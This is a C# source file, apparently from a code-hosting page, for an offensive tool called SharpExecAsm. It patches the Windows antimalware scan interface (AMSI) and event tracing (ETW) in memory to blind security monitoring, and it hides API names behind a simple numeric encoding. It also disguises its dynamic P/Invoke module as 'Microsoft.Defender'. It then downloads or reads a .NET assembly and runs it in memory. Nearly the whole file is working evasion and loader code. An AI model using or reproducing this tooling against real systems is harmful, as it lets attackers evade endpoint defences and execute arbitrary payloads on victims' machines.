-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
280 lines (233 loc) · 10.8 KB
/
Program.cs
File metadata and controls
280 lines (233 loc) · 10.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
using System;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
namespace execute_assembly
{
public class Program
{
static bool p4ms1()
{
try
{
IntPtr lib = dLoadLib(Dec("114126132122063117125125"));
IntPtr addr = dGetProcA(lib, Dec("082126132122100116114127083134119119118131"));
// win10
//addr = IntPtr.Add(addr, 0x95);
UInt32 dwOld = 0;
if (dVirtualP(addr, (UInt32)0x3, 0x04, ref dwOld))
{
// win10
//byte[] patch = new byte[] { 0x75 };
// win11
byte[] patch = new byte[] { 0xb8, 0x34, 0x12, 0x07, 0x80, 0x66, 0xb8, 0x32, 0x00, 0xb0, 0x57, 0xc3 };
Marshal.Copy(patch, 0, addr, patch.Length);
dVirtualP(addr, (UInt32)0x3, 0x20, ref dwOld);
return true;
}
return false;
}
catch
{
return false;
}
}
static bool p3tw()
{
try
{
IntPtr lib = dLoadLib(Dec("127133117125125063117125125"));
IntPtr addr = dGetProcA(lib, Dec("095133101131114116118086135118127133"));
UInt32 dwOld = 0;
if (dVirtualP(addr, (UInt32)0x1, 0x40, ref dwOld))
{
byte[] patch = new byte[] { 0xC3 };
Marshal.Copy(patch, 0, addr, patch.Length);
dVirtualP(addr, (UInt32)0x1, 0x20, ref dwOld);
return true;
}
return false;
}
catch
{
return false;
}
}
static void DynamicAssemblyLoader(byte[] asm, string args = null)
{
object obj = new object();
object[] objArr = new object[] { };
if (args != null)
{
string[] parts = args.Split('|');
objArr = new object[] { parts };
}
else
{
string[] assemblyArgs = new string[] { };
objArr = new object[] { assemblyArgs };
}
// DynamicAssemblyLoader: A DotNet Assembly Loader using a Dynamic Method and Emitted MSIL Instructions
// Author: @bohops
DynamicMethod dynamicMethod = new DynamicMethod("_Invoke", typeof(void), new Type[] { typeof(byte[]), typeof(object), typeof(object[]) });
ILGenerator iLGenerator = dynamicMethod.GetILGenerator();
iLGenerator.Emit(OpCodes.Ldarg_0);
iLGenerator.EmitCall(OpCodes.Call, typeof(Assembly).GetMethod("Load", new Type[] { typeof(byte[]) }), null);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { }), null);
iLGenerator.Emit(OpCodes.Ldarg_1);
iLGenerator.Emit(OpCodes.Ldarg_2);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }), null);
iLGenerator.Emit(OpCodes.Pop);
iLGenerator.Emit(OpCodes.Ret);
dynamicMethod.Invoke(null, new object[] { asm, obj, objArr });
}
/*static void Exec(byte[] asm, string args = null)
{
var currentOut = Console.Out;
var currentError = Console.Error;
var ms = new MemoryStream();
var sw = new StreamWriter(ms)
{
AutoFlush = true
};
Console.SetOut(sw);
Console.SetError(sw);
string[] arg = args.Split('|');
var assembly = Assembly.Load(asm);
assembly.EntryPoint.Invoke(null, new object[] { arg });
Console.Out.Flush();
Console.Error.Flush();
var output = Encoding.UTF8.GetString(ms.ToArray());
Console.SetOut(currentOut);
Console.SetError(currentError);
sw.Dispose();
ms.Dispose();
Console.WriteLine(output);
}*/
public static void Local(string path, string args = null)
{
if (!p4ms1() || !p3tw())
{
Console.Error.WriteLine($"* 4MS1/3TW Error: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine("+ 4MS1/3TW Patched");
string[] lines = File.ReadAllLines(path);
byte[] fileBytes = lines.Select(line => byte.Parse(line)).ToArray();
DynamicAssemblyLoader(fileBytes, args);
}
public static void Remote(string url, string args = null)
{
if (!p4ms1() || !p3tw())
{
Console.WriteLine("* 4MS1/3TW Error");
return;
}
Console.WriteLine("+ 4MS1/3TW Patched");
string file;
using (var client = new WebClient())
{
client.Proxy = WebRequest.GetSystemWebProxy();
client.UseDefaultCredentials = true;
file = client.DownloadString(url);
}
byte[] fileBytes = file.Split(new[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)
.Select(line => byte.Parse(line))
.ToArray();
DynamicAssemblyLoader(fileBytes, args);
}
static string Dec(string input)
{
string output = "";
while (input.Length >= 3)
{
int arg1 = int.Parse(input.Substring(0, 3));
char arg2 = (char)(arg1 - 17);
output += arg2;
input = input.Substring(3);
}
return output;
}
public static void Main(string[] args)
{
Console.WriteLine("\n --++ SharpExecAsm ++-- \n");
if (args.Length == 2 && args[0] is "local")
{
Local(args[1]);
}
else if (args.Length == 3 && args[0] is "local")
{
Local(args[1], args[2]);
}
else if (args.Length == 2 && args[0] is "remote")
{
Remote(args[1]);
}
else if (args.Length == 3 && args[0] is "remote")
{
Remote(args[1], args[2]);
}
else
{
Console.WriteLine("[!] Arguments error");
Console.WriteLine(@"[!] From a local file: program.exe local C:\Users\dev\filebytes.txt ""arg1|arg2|arg3""");
Console.WriteLine(@"[!] From a remote file: program.exe remote ""http://192.168.100.100:443/filebytes.txt"" ""arg1|arg2|arg3""");
}
}
// https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/
public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes)
{
AssemblyName assemblyName = new AssemblyName("Microsoft.Defender");
var assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
var moduleBuilder = assemblyBuilder.DefineDynamicModule("Microsoft.Defender", false);
var typeBuilder = moduleBuilder.DefineType(library, TypeAttributes.Public | TypeAttributes.Class);
var methodBuilder = typeBuilder.DefineMethod(method,
MethodAttributes.Public | MethodAttributes.Static,
type,
paramTypes);
ConstructorInfo dllImportConstructorInfo = typeof(DllImportAttribute).GetConstructor(new Type[] { typeof(string) });
FieldInfo[] dllImportFieldInfo = { typeof(DllImportAttribute).GetField("EntryPoint"),
typeof(DllImportAttribute).GetField("PreserveSig"),
typeof(DllImportAttribute).GetField("SetLastError"),
typeof(DllImportAttribute).GetField("CallingConvention"),
typeof(DllImportAttribute).GetField("CharSet") };
Object[] dllImportFieldValues = { method,
true,
true,
CallingConvention.Winapi,
CharSet.Ansi};
CustomAttributeBuilder customAttributeBuilder = new CustomAttributeBuilder(dllImportConstructorInfo, new Object[] { library }, dllImportFieldInfo, dllImportFieldValues);
methodBuilder.SetCustomAttribute(customAttributeBuilder);
Type myType = typeBuilder.CreateType();
object res = myType.InvokeMember(method, BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, null, args);
return res;
}
// LoadLibrary
public static IntPtr dLoadLib(String libName)
{
Type[] paramTypes = { typeof(String) };
Object[] args = { libName };
object res = DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", Dec("093128114117093122115131114131138082"), args, paramTypes);
return (IntPtr)res;
}
// GetProcAddress
public static IntPtr dGetProcA(IntPtr hModule, String procName)
{
Type[] paramTypes = { typeof(IntPtr), typeof(String) };
Object[] args = { hModule, procName };
object res = DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", Dec("088118133097131128116082117117131118132132"), args, paramTypes);
return (IntPtr)res;
}
//VirtualProtect
public static bool dVirtualP(IntPtr hProcess, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect)
{
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32).MakeByRefType() };
Object[] args = { hProcess, dwSize, flNewProtect, lpflOldProtect };
object res = DynamicPInvokeBuilder(typeof(bool), "kernel32.dll", Dec("103122131133134114125097131128133118116133"), args, paramTypes);
return (bool)res;
}
}
}